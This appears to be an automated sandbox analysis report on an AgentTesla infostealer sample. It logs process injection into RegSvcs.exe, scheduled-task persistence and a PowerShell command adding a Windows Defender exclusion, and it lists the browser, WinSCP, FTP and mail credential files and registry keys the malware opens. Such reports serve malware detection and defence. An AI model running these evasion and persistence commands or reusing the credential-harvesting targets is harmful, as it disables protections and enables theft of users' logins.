Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97624	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97405	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 97078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 96968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegSvcs.exe, 0000000F.00000002.2669844639.00000000064C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<
Source: joUXSCpr.exe, 00000009.00000002.1490355465.0000000000ED4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`pS
Source: RegSvcs.exe, 00000008.00000002.1477888050.0000000006510000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe"
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe"			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 1044008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 440000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: EDC008	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\joUXSCpr.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp1263.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Queries volume information: C:\Users\user\Desktop\SMBKT-20242005.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Queries volume information: C:\Users\user\AppData\Roaming\joUXSCpr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\joUXSCpr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e57898.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e1cc78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.000000000310F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1473242520.000000000338C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SMBKT-20242005.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8092, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e57898.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e1cc78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SMBKT-20242005.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8092, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e57898.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e1cc78.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e57898.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3d79970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.SMBKT-20242005.exe.3e1cc78.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1470694828.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.00000000030FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.000000000310F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.00000000030D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1473242520.000000000338C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1473242520.0000000003361000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2663210822.0000000003104000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1462365494.0000000003D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SMBKT-20242005.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 8092, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
